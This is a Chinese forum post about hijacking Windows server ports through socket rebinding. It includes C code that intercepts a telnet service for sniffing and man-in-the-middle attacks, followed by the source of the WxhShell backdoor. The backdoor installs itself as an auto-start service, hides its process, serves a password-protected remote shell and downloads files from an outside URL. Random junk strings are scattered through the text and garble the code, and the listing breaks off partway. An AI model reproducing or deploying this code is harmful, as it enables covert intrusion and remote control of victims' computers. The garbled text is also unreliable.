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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Rp4BU"&sU  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L{o >D"  
.ON$vn7  
  saddr.sin_family = AF_INET; q}7Df!<|  
V=8{CmqT  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )eedfb1  
A)`fD %+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); L}sm R,  
 vCH v  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 qT-nD}  
F" #3s=  
  这意味着什么?意味着可以进行如下的攻击: Bbe/w#Z  
uzn))/"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 N6 }i>";_;  
`'k's]Y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %~v76;H<  
4@V<Suw  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 B #V 4  
m#}{"d&J  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  GT`<jzAiQ  
0T{Y_IG  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 n*8RYm)?  
Dm`U|<o  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %w|3:  
]V]@Zna@g  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~6kA<(x   
pQm!Bt L  
  #include ]C:Ifh~  
  #include %cjGeS6}  
  #include KL_}:O68  
  #include    /n3&e  
  DWORD WINAPI ClientThread(LPVOID lpParam);   V/[,1W[B  
  int main() B[m{2XzGH  
  { f`";Q/rG  
  WORD wVersionRequested; ,9j:h)ks?  
  DWORD ret; _/w-gL{  
  WSADATA wsaData; b+#~N>|  
  BOOL val; @^4M~F%  
  SOCKADDR_IN saddr; k~EPVJh"  
  SOCKADDR_IN scaddr; M&\?)yG  
  int err; 8J(zWV7 r  
  SOCKET s; #di_V"  
  SOCKET sc; ?~y(--.t;T  
  int caddsize; Cot\i\]jv  
  HANDLE mt; g1!L. On  
  DWORD tid;   9p'J(`  
  wVersionRequested = MAKEWORD( 2, 2 ); ny? m&;^r:  
  err = WSAStartup( wVersionRequested, &wsaData ); IF?B`TmZ  
  if ( err != 0 ) { 3*23+}^G  
  printf("error!WSAStartup failed!\n"); 7~9f rW<K  
  return -1; U&\{/l  
  } qA\kx#v]P  
  saddr.sin_family = AF_INET; q>oH(A  
   />I8nS}T  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 WatLAn+  
5 nIlG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qO3BQ]UF  
  saddr.sin_port = htons(23); ^E?V+3mV  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4 AmF^H  
  { jHw2Q8s|R  
  printf("error!socket failed!\n"); A-`J!xj#/  
  return -1; HaN _}UMP  
  } 4g^+y.,r_f  
  val = TRUE; rxk{Li<9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \osQwGPV  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) S7>gNE;%]u  
  { [k{iN1n  
  printf("error!setsockopt failed!\n"); Lj1 @yokB  
  return -1; '9Odw@tp  
  } o[W3/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^ nZ2p$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9F1stT0G%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1e| M6*  
]<z(Rmn`Q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) x#VUEu]8  
  { nL20}"$E  
  ret=GetLastError(); mnaD KeA  
  printf("error!bind failed!\n"); V xs`w  
  return -1; &/FwV'  
  } w:+#,,rwzV  
  listen(s,2); cyeDZ)  
  while(1) F@K;A%us)  
  { ]H7Mx\  
  caddsize = sizeof(scaddr); "(VcYQ+  
  //接受连接请求 ]7 mSM  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0! %}  
  if(sc!=INVALID_SOCKET) ?Gw89r  
  { ,w>?N\w!}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *9 wHH-#  
  if(mt==NULL) Q8:ocEhR  
  { wcT6d?*5  
  printf("Thread Creat Failed!\n"); bj{f[nZ d  
  break; Mwk_S Cy  
  } Q kpmPQK  
  } Khd,|pM  
  CloseHandle(mt); UH|.@7w  
  } ?M(Wx  
  closesocket(s); ,^C;1ph  
  WSACleanup(); | :[vpJFK  
  return 0; Isb^~c_P  
  }   b<7 qmg3  
  DWORD WINAPI ClientThread(LPVOID lpParam) %n,bPa>T  
  { 3vD,hL`&  
  SOCKET ss = (SOCKET)lpParam; EBLoRW=8ld  
  SOCKET sc; }`FPe   
  unsigned char buf[4096]; ^SCWT\E  
  SOCKADDR_IN saddr; )zV5KC{{  
  long num; 9%6`ZS~3  
  DWORD val; X  jN.X  
  DWORD ret; Q6>( Z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5 Vqvb|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Hp AZ{P7  
  saddr.sin_family = AF_INET; *X=-^\G  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); W7"sWaOhW  
  saddr.sin_port = htons(23); !{;RtUPz*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e[!>ezaIY  
  { 0yNlf-O  
  printf("error!socket failed!\n"); o#6}?g.  
  return -1; 6P|neb}  
  } ]Jq e)o  
  val = 100; s&</zU'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *JXJ 2  
  { P s;:g0  
  ret = GetLastError(); TKX#/  
  return -1; ;Vt u8f  
  } mo$*KNW%\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +Z*%,m=N(  
  { I),8EEf\  
  ret = GetLastError(); 4[q * 7m  
  return -1; JK`P mp>  
  } 5yID%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {{,%p#/b  
  { )' #(1 ,1k  
  printf("error!socket connect failed!\n"); A?zW!'  
  closesocket(sc); CG;D(AWR;  
  closesocket(ss); A>puk2s  
  return -1; 9n7d "XD2  
  } 0<9TyN6  
  while(1) B"v=Fr[  
  { [4e5(!e  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8 Hn{CJ~'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Q<pM tW  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 k~ue^^r}  
  num = recv(ss,buf,4096,0); %?jf.p*kY  
  if(num>0) kz^G.5n   
  send(sc,buf,num,0); rge/jE,^~Z  
  else if(num==0) %*nZ,r  
  break; y]_DW6W  
  num = recv(sc,buf,4096,0); p'*UM%@SIY  
  if(num>0) 9iE66N>z  
  send(ss,buf,num,0); :83" t-O8[  
  else if(num==0) r "R\  
  break; D~:fn|/Brp  
  } W% ud nJ  
  closesocket(ss); _?ZT[t<  
  closesocket(sc); 9@06]EI_  
  return 0 ; 7Go!W(8  
  } =F4}  
1F|+4  
UsTPNQj  
========================================================== /rW{rf^  
NL 37Y{b  
下边附上一个代码,,WXhSHELL `upNP/,  
k s}o9[D3  
========================================================== 51vK>  
:y)'qv[  
#include "stdafx.h" FcA0 \`0M  
p* @L1  
#include <stdio.h> *)<tyIHd  
#include <string.h> J"y@n ~*0  
#include <windows.h> +,lD_{}_  
#include <winsock2.h> LHb{9x  
#include <winsvc.h> '<Gqu_-  
#include <urlmon.h> $m>e!P>%u  
v|GvN|_|  
#pragma comment (lib, "Ws2_32.lib") K^bn4Nr  
#pragma comment (lib, "urlmon.lib") \w3wh*  
 y^Lw7  
#define MAX_USER   100 // 最大客户端连接数 LsXYvX  
#define BUF_SOCK   200 // sock buffer >@"j9  
#define KEY_BUFF   255 // 输入 buffer !NCT) #G`  
M<"D!h9YP  
#define REBOOT     0   // 重启 l- l}xBf  
#define SHUTDOWN   1   // 关机 ARE~jzakg  
4]bT O  
#define DEF_PORT   5000 // 监听端口  oa|0=  
L*z;-,  
#define REG_LEN     16   // 注册表键长度 hk I$ow(  
#define SVC_LEN     80   // NT服务名长度 |j,Mof  
RC 48e._t  
// 从dll定义API ~&x%;cnv_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P(`IY +  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JI&>w-~D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .<.qRq-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7XNfH@  
TO.NCO\x  
// wxhshell配置信息 vXF\PMf  
struct WSCFG { &a`-NRU#  
  int ws_port;         // 监听端口 II91Ia  
  char ws_passstr[REG_LEN]; // 口令 eZcm3=WV|  
  int ws_autoins;       // 安装标记, 1=yes 0=no sCUPa-cHF  
  char ws_regname[REG_LEN]; // 注册表键名 MPt7 /  
  char ws_svcname[REG_LEN]; // 服务名 p,Z6/e[SI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bY>Ug{O;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )nY/ RO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /dfZ>k8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }DSz_^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6voK{C4J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o$-P hl  
UZ1 lI>  
}; ^.(]i \V_  
"a: ;  
// default Wxhshell configuration tT7$2 9  
struct WSCFG wscfg={DEF_PORT, iB?@(10}ES  
    "xuhuanlingzhe", (:\hor%  
    1, :.dQY=6I  
    "Wxhshell", ~K[rQ  
    "Wxhshell", *=v RX!sI,  
            "WxhShell Service", h2q]!01XP  
    "Wrsky Windows CmdShell Service", 5?b9[o+ D  
    "Please Input Your Password: ", 9K49<u0O  
  1, `# R$  
  "http://www.wrsky.com/wxhshell.exe", g5 E]o)  
  "Wxhshell.exe" U|zW_dj  
    }; E|>I/!{u7`  
?d %_o@  
// 消息定义模块 oI>;O#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0XYxMN)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Cdv TC`~,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *f(}@U  
char *msg_ws_ext="\n\rExit."; RwwKPE  
char *msg_ws_end="\n\rQuit."; T.pPQH__  
char *msg_ws_boot="\n\rReboot..."; .C #}g  
char *msg_ws_poff="\n\rShutdown..."; \||PW58j  
char *msg_ws_down="\n\rSave to "; %S^`/Snv"  
z+ 4R[+[  
char *msg_ws_err="\n\rErr!"; C?B7xK  
char *msg_ws_ok="\n\rOK!"; pTTif|c  
9$_}E`  
char ExeFile[MAX_PATH]; |9y &;3  
int nUser = 0; D,hl+P{^K  
HANDLE handles[MAX_USER]; &(0iSS  
int OsIsNt; T>c;q%A/  
sLTf).xh  
SERVICE_STATUS       serviceStatus; DgdW.Kj|IL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .Ybm27Dk  
F kWJB>  
// 函数声明 t`LH\]6@  
int Install(void); rh!41  
int Uninstall(void); K|B1jdzL  
int DownloadFile(char *sURL, SOCKET wsh); +b{\v1b  
int Boot(int flag); [J^,_iN[.  
void HideProc(void); L]p:gI{m  
int GetOsVer(void); VHJr+BQ1K/  
int Wxhshell(SOCKET wsl); ]8mBFr5E9  
void TalkWithClient(void *cs); %:??QD*  
int CmdShell(SOCKET sock); ENGw <  
int StartFromService(void); &~k/G  
int StartWxhshell(LPSTR lpCmdLine); V=YK3){>A  
tSg#2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `S!`=26Z!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); EGs z{c[8@  
}{lOsZA  
// 数据结构和表定义 B8 2A:t)  
SERVICE_TABLE_ENTRY DispatchTable[] = :g,rl\S7  
{ cZwQ{9>  
{wscfg.ws_svcname, NTServiceMain}, D^A_0@  
{NULL, NULL} ZFRKh:|  
}; WaH TzIa[  
i{`>!)U  
// 自我安装 8^^al!0K~  
int Install(void)  "u%$`*  
{ 7 724,+2N  
  char svExeFile[MAX_PATH]; |BXq8Erh  
  HKEY key; Ad"::&&Wk  
  strcpy(svExeFile,ExeFile); b*bR<|dTj  
-du+iOe?  
// 如果是win9x系统,修改注册表设为自启动 97 1qr  
if(!OsIsNt) { eSvu:euv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eZUK<&0x5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ULoTPx@N  
  RegCloseKey(key); N%T-Q9k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5Zq- |"|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p0@iGyd  
  RegCloseKey(key); >LW9$[H  
  return 0; v.\&gn(  
    } XL +kEZ|3  
  } ]AN)M>  
} I\[*vgjm3G  
else { 9_HEImk  
t rHj7Nw  
// 如果是NT以上系统,安装为系统服务 ~:JKXa?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g'mkhF(  
if (schSCManager!=0) HVC\(h,)i  
{ /WM : Bj   
  SC_HANDLE schService = CreateService r"0nUf*og:  
  ( Jcy`:C\Ay  
  schSCManager, BkIvoW_  
  wscfg.ws_svcname, 4ba1c  
  wscfg.ws_svcdisp, C~l5D4D#  
  SERVICE_ALL_ACCESS, 2)U3/TNe  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mhcJ0\@_  
  SERVICE_AUTO_START, D]4?UL  
  SERVICE_ERROR_NORMAL, /1O6;'8He  
  svExeFile, ^tpy8TQ  
  NULL, 0m?ul%=  
  NULL, z`TI<B  
  NULL, F9d][ P@@  
  NULL, u]zb<)'_  
  NULL f(9w FT  
  ); d`^@/1tO  
  if (schService!=0) ,PY<AI^59  
  { 2!jbaSH(+  
  CloseServiceHandle(schService); XbHcd8N T  
  CloseServiceHandle(schSCManager); RzyEA3L'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |FKo}>4  
  strcat(svExeFile,wscfg.ws_svcname); xNjA>S\]W5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >+8mq]8^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h; {?z  
  RegCloseKey(key); +[z(N  
  return 0; 4$_8#w B1&  
    } Wqy8ZgSC  
  } U~7.aZHPx3  
  CloseServiceHandle(schSCManager); -"(e*&TJ#  
} y*zZ }>  
} CNP?i(Rk  
7\jH?Zi  
return 1; 4,)=r3;&!  
} !rrjA$P<v  
W>+<r9Rt4  
// 自我卸载 9N9|hy  
int Uninstall(void) fV[xv4D.  
{ )L_jR%2j  
  HKEY key; `7'(U)x,F  
X2o5Hc)l<  
if(!OsIsNt) { b>fDb J0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3aW4Gs<g  
  RegDeleteValue(key,wscfg.ws_regname); Ws(BouJ  
  RegCloseKey(key); f!1K GP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s'/ug  
  RegDeleteValue(key,wscfg.ws_regname); js2?t~E]  
  RegCloseKey(key); zu*h9}  
  return 0; 1no$|n#  
  } P^&+ehp  
} E4 JS   
} M"~B_t,Nw  
else { SUx\qz)  
ysvn*9h+&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A(<- U|  
if (schSCManager!=0) [;};qQ-C2  
{ \7W {/v4^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]%NCKOM  
  if (schService!=0) Rk`c'WP0*  
  { k \]@  
  if(DeleteService(schService)!=0) { hX YVi6(k  
  CloseServiceHandle(schService); I /RvU,  
  CloseServiceHandle(schSCManager); GY0<\-  
  return 0; r?H {Y3 ,  
  } 4?8GK  
  CloseServiceHandle(schService); )v'3pTs2  
  } DfqXw^BKD  
  CloseServiceHandle(schSCManager); tjYe82  
} 1eK J46W  
} \QYs(nm?k  
Xa%Z0% {  
return 1; ];oED?I  
} w/Ia` Tx$  
drF"kTD"7  
// 从指定url下载文件 \$9S_z  
int DownloadFile(char *sURL, SOCKET wsh) V8&%fxn+  
{ A.y"R)G  
  HRESULT hr; BXLhi(.s  
char seps[]= "/"; .'>r?%a  
char *token; J]$%1Y  
char *file; VSM%<-iQ  
char myURL[MAX_PATH]; x4fLe5xv  
char myFILE[MAX_PATH]; c a$D|3  
bQ_i&t\yzB  
strcpy(myURL,sURL); #F[6$. Gr  
  token=strtok(myURL,seps); $D8KEkW  
  while(token!=NULL) EYMwg_  
  { 5wr0+Xo  
    file=token; 4dl?US[-  
  token=strtok(NULL,seps); h&[!CtPm  
  } #O=^%C 7p  
dqPJ 2j $\  
GetCurrentDirectory(MAX_PATH,myFILE); %`%1W MO  
strcat(myFILE, "\\"); )HR'FlxOd  
strcat(myFILE, file); D3BX[  
  send(wsh,myFILE,strlen(myFILE),0); IRXpk 6|  
send(wsh,"...",3,0); /C_O/N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k&@JF@_TI  
  if(hr==S_OK) !0E$9Xon  
return 0; 0+M1,?+GfF  
else V?5QpBK I  
return 1; 5+giT5K*h  
PDM>6U  
} Mx0c # d.  
2.?:[1g!  
// 系统电源模块 :cIE8<\%  
int Boot(int flag) ml\7JW6Rx  
{ In:h%4>  
  HANDLE hToken; &UQKZ.  
  TOKEN_PRIVILEGES tkp;  LlnIn{C  
X[grV e  
  if(OsIsNt) { gO_^{>2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4hZ-^AL"(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :IbrV@gN{@  
    tkp.PrivilegeCount = 1; Xgr|~(^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R# mZYg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0Rrz   
if(flag==REBOOT) { z[] AH#h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) es&+5  
  return 0; oa1&9  
} l&U3jeW-o  
else { eHd{'J<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [uZU p*.V  
  return 0; />.&  
} 7u o4F= %  
  } mpK|I|-   
  else { t[)z/[ m  
if(flag==REBOOT) { x8tRa0-q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )<IbQH|_  
  return 0; =:o)+NE  
} 'HPw5 L  
else { #d(6q$IE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XlDVJx<&J  
  return 0; 8t0i j  
} rS)7D  
} Z*jhSy  
ely&'y!  
return 1; wp.'M?6`L  
} PY)C=={p  
si%f.A#  
// win9x进程隐藏模块 F''4j8  
void HideProc(void) z8vF QO\I"  
{ Xqf"Wx(X  
 nPvR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1[u{3lQ  
  if ( hKernel != NULL ) $5%tGFh  
  { !OC?3W:^_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |) T HuE(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G'}%m;-mt  
    FreeLibrary(hKernel); .E[k}{k,  
  } 2!{CNt.-  
[@Uc4LX  
return; {hZZU8*  
} t~,!a?S7  
:,]%W $f=  
// 获取操作系统版本 tul5:}x3  
int GetOsVer(void) 9bqfZ"6nXY  
{ Zff-Hl  
  OSVERSIONINFO winfo; 4>$>XL1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oV,>u5:B  
  GetVersionEx(&winfo); j%~UU0(J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6;[iX`LL  
  return 1; %C'!L]#  
  else ctH`71Y  
  return 0; )wSsxX7:  
} >SSF:hI"J  
D#^v=U  
// 客户端句柄模块 $].< /  
int Wxhshell(SOCKET wsl) Gd:fWz(  
{ ;y4 "wBX  
  SOCKET wsh; oA_AnD?G+  
  struct sockaddr_in client; |F9/7 z\5+  
  DWORD myID; 4Q_2GiF_ ?  
A-c3B+  
  while(nUser<MAX_USER) qhLe[[>  
{ > *vI:MG8  
  int nSize=sizeof(client); (p^q3\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e,:@c3I  
  if(wsh==INVALID_SOCKET) return 1; {#Mz4s`M  
a+r0@eFLc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b3y@!_'c  
if(handles[nUser]==0) PNg,bcl  
  closesocket(wsh); GS< ,adD  
else  =Lp0i9c  
  nUser++; ^J@Y?CQl\  
  } [8O`VSV3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vTP'\^;  
/$+ifiFT  
  return 0; :+!hR4Z~\;  
} #sAEIk/  
j Dy  
// 关闭 socket .VTHZvyn  
void CloseIt(SOCKET wsh) a8A8?:  
{ !oM 1  
closesocket(wsh); o5 . q  
nUser--; 4`!(M]u=  
ExitThread(0); Jw"'ZW#W  
} "sL#)<%  
J&{E  
// 客户端请求句柄 2Hy$SSH  
void TalkWithClient(void *cs) "m/0>UU0  
{ *<s|WLMG  
/38^N|/Zr  
  SOCKET wsh=(SOCKET)cs; wArNWBM  
  char pwd[SVC_LEN]; `4(k ?Pk2  
  char cmd[KEY_BUFF]; pbloL3d.;+  
char chr[1]; 0'VwObq  
int i,j; f u\M2"e  
/1o~x~g(b  
  while (nUser < MAX_USER) { L[##w?Xf.  
'1/uf;OXIH  
if(wscfg.ws_passstr) { NWb,$/7T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8 :Z3Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); viY _Y.Yjy  
  //ZeroMemory(pwd,KEY_BUFF); F9-xp7 T  
      i=0; 8Qek![3^  
  while(i<SVC_LEN) { f>l}y->-Ug  
,58D=EgFy  
  // 设置超时 :);GeZ  
  fd_set FdRead; c KF 8(  
  struct timeval TimeOut; [ V/*{Z  
  FD_ZERO(&FdRead); tb{l(up/a  
  FD_SET(wsh,&FdRead); hZc$`V=R  
  TimeOut.tv_sec=8; xNE<$Bz  
  TimeOut.tv_usec=0; !XzRV?Ih;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R9fM9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /R 2:Js  
oy#Qj3M8=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wGLZzqgq  
  pwd=chr[0]; PL%_V ?z  
  if(chr[0]==0xd || chr[0]==0xa) { nuhKM.a{  
  pwd=0; 0 .t;i4  
  break; <EJ}9`t  
  } y$K!g&lGA  
  i++; Fag%#jxI  
    } /_aFQ>.4n  
K`PF|=z  
  // 如果是非法用户,关闭 socket nwHi3ojD:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8]'qJ;E2  
} 3%!d&j>v  
k+&LOb7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r5tv9#4]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fh}\#WE"  
([tbFI}A  
while(1) { v#nYH?+~mJ  
EcBSi995dj  
  ZeroMemory(cmd,KEY_BUFF); I tp7X  
Lc0^I<Y  
      // 自动支持客户端 telnet标准   "P"~/<:)  
  j=0; ?_}[@x  
  while(j<KEY_BUFF) { $>]7NTP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bC)d iC  
  cmd[j]=chr[0]; "*XR'9~7  
  if(chr[0]==0xa || chr[0]==0xd) { L%U-MOS=  
  cmd[j]=0; qL UbRp  
  break; =<n+AqJ%  
  } *siS4RX2  
  j++; 3dQV5E.  
    } $Rd74;edn  
yG2j!D  
  // 下载文件 SA)}---"  
  if(strstr(cmd,"http://")) { #3\F<AJ<VB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u])N^AY"sj  
  if(DownloadFile(cmd,wsh)) 50uNgLs  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /i"L@t)\t  
  else YeptYW@xfw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _;L9&>!p6  
  } i|)<#Ywl  
  else { 1^b-J0  
_Cj u C`7  
    switch(cmd[0]) { AQQeLdTq  
  s(r(! FZ  
  // 帮助 q.g<gu]  
  case '?': { L6J=m#Ld  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s+h`,gg9  
    break; BC 9rsb  
  } <Gr{h>b  
  // 安装 Qt+ K,LY  
  case 'i': { -|"mB"Dc  
    if(Install()) w8%<O^wN,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1|q$Wn:*  
    else CES^ c-. k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A8dIL5  
    break; R'uM7,7  
    } q6%jCt2'  
  // 卸载 D42Bm&JocO  
  case 'r': { #Bj.#5  
    if(Uninstall()) ~?H _?}e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~(~fuDT~O  
    else =*~]lz__M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @M?;~M?B]J  
    break; 27<~m=`}d  
    } Ma2sQW\  
  // 显示 wxhshell 所在路径 p. SEW5  
  case 'p': { &S>m +m'  
    char svExeFile[MAX_PATH]; nX7{09  
    strcpy(svExeFile,"\n\r"); H3H3UIIT_  
      strcat(svExeFile,ExeFile); W}50E.\#  
        send(wsh,svExeFile,strlen(svExeFile),0); FrIguk1  
    break; 2$V]XSe  
    } ^dJ/>?1  
  // 重启 K|[[A)tt6  
  case 'b': { "\Zsr6y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UpF,e>s  
    if(Boot(REBOOT)) 9r+]V=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3<88j&9  
    else { KnaQhZ  
    closesocket(wsh); 1 `hj]@.]  
    ExitThread(0); /EZF5_`bT  
    } MN}@EQvW==  
    break; &}_E~jKK  
    } 4onRO!G,  
  // 关机 w4\b^iJz  
  case 'd': { f R$E*Jd  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /. k4Y  
